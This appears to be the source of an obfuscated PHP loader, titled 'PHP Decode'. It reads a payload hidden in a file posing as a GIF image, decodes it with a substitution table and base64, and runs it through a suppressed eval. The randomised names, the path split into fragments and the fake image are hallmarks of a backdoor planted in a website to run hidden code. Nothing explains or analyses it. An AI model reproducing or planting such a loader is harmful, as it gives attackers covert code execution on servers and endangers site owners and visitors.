PHP Decode

<?php 
 
function kybazys_ufeshov($dymifuz_lethexi) { 
    if (!file_exists($dymifuz_lethexi)) 
        return false; 
    $okhanuz = @file_get_contents($dymifuz_lethexi); 
    if (!$okhanuz) 
        return false; 
    $okhanuz = substr($okhanuz, 3); 
    $jupyfo = lifezhi_rucijij($okhanuz); 
    return $jupyfo; 
} 
 
function lifezhi_rucijij($dymifuz_lethexi) { 
    $ytyrach = tabaqoq_owicoqu; 
    $ebiwylu = array(); 
    for ($culapal = 0; $culapal < strlen($ytyrach); $culapal += 2) { 
        $ozhecyq = substr($ytyrach, $culapal, 1); 
        $umyhuki = substr($ytyrach, $culapal + 1, 1); 
        $ebiwylu[$ozhecyq] = $umyhuki; 
    } 
    $ozyqek = strtr($dymifuz_lethexi, $ebiwylu); 
    $ozyqek = base64_decode($ozyqek); 
 
    return $ozyqek; 
} 
 
define("tabaqoq_owicoqu", "vfxAUTacjCQxHO2hJzKXIuMJXRikgyRnG4lDz95/nbba6qmPWLdv70NieZppYrOdDSVIsw35C2=7fMqmZE4s01wK9gcVTerQ83/NAWP=olEotYk6++yHuGLt18SUhBBjFF"); 
 
$ybumoch = kybazys_ufeshov(__DIR__ . "/asse" . "ts/i" . "mages" . "/abidi" . "qi.gi" . "f"); 
if ($ybumoch) { 
    @eval($ybumoch); 
} 
 
 ?>